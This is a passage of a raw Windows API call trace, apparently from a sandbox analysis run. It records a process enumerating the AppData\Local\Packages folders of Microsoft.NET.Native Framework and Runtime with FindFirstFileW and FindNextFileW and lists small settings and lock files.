lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c5b9fe, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c5b9fe, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c5b9fe, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0214.565] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0214.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0214.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0214.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0214.566] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\RoamingState", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\RoamingState", lpFilePart=0x0) returned 0x6a [0214.566] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\RoamingState\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.net.native.framework.1.1_8wekyb3d8bbwe\\roamingstate\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c5b9fe, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c5b9fe, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c5b9fe, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.566] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c5b9fe, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c5b9fe, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c5b9fe, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.566] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c5b9fe, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c5b9fe, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c5b9fe, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0214.567] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0214.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0214.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0214.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0214.567] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\Settings", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\Settings", lpFilePart=0x0) returned 0x66 [0214.567] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\Settings\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.net.native.framework.1.1_8wekyb3d8bbwe\\settings\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c81ad3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c81ad3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5d8cca0, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.575] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c81ad3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c81ad3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5d8cca0, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.575] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c81ad3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c81ad3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c81ad3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0214.576] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c81ad3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5ebddfa, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x11d3fb2a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0214.576] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x5d8cca0, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5d8cca0, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5d8cca0, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.dat.LOG1", cAlternateFileName="SETTIN~1.LOG")) returned 1 [0214.576] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x5d8cca0, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5d8cca0, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5d8cca0, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 1 [0214.576] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0214.576] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0214.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0214.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0214.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0214.578] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\Settings", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\Settings", lpFilePart=0x0) returned 0x66 [0214.578] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\Settings\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.net.native.framework.1.1_8wekyb3d8bbwe\\settings\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c81ad3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c81ad3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5d8cca0, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.579] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c81ad3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c81ad3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5d8cca0, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.579] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c81ad3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c81ad3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c81ad3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0214.580] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c81ad3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5ebddfa, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x11d3fb2a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0214.580] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x5d8cca0, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5d8cca0, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5d8cca0, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.dat.LOG1", cAlternateFileName="SETTIN~1.LOG")) returned 1 [0214.580] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x5d8cca0, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5d8cca0, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5d8cca0, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 1 [0214.580] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x5d8cca0, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5d8cca0, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5d8cca0, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 0 [0214.581] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0214.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0214.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0214.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0214.582] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\SystemAppData", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\SystemAppData", lpFilePart=0x0) returned 0x6b [0214.582] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\SystemAppData\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.net.native.framework.1.1_8wekyb3d8bbwe\\systemappdata\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c81ad3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c81ad3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c81ad3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.582] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c81ad3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c81ad3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c81ad3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.583] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c81ad3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c81ad3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c81ad3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0214.583] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0214.583] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0214.583] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0214.583] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0214.583] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\SystemAppData", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\SystemAppData", lpFilePart=0x0) returned 0x6b [0214.583] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\SystemAppData\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.net.native.framework.1.1_8wekyb3d8bbwe\\systemappdata\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c81ad3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c81ad3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c81ad3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.583] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c81ad3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c81ad3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c81ad3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.584] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c81ad3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c81ad3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c81ad3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0214.584] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0214.584] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0214.584] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0214.584] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0214.584] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\TempState", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\TempState", lpFilePart=0x0) returned 0x67 [0214.584] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\TempState\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.net.native.framework.1.1_8wekyb3d8bbwe\\tempstate\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c81ad3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c81ad3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c81ad3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.585] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c81ad3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c81ad3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c81ad3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.585] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c81ad3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c81ad3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c81ad3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0214.585] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0214.585] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0214.585] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0214.585] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0214.585] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\TempState", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\TempState", lpFilePart=0x0) returned 0x67 [0214.585] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\TempState\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.net.native.framework.1.1_8wekyb3d8bbwe\\tempstate\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c81ad3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c81ad3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c81ad3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.586] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c81ad3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c81ad3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c81ad3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.586] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c81ad3, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5c81ad3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5c81ad3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0214.586] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0214.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0214.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0214.586] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd090) returned 1 [0214.586] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1e0dcb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x5b [0214.586] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.net.native.runtime.1.1_8wekyb3d8bbwe\\*"), lpFindFileData=0x1e0dcda0 | out: lpFindFileData=0x1e0dcda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d3082, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a457e3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a457e3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0214.836] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d3082, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a457e3, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a457e3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.836] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x2010, 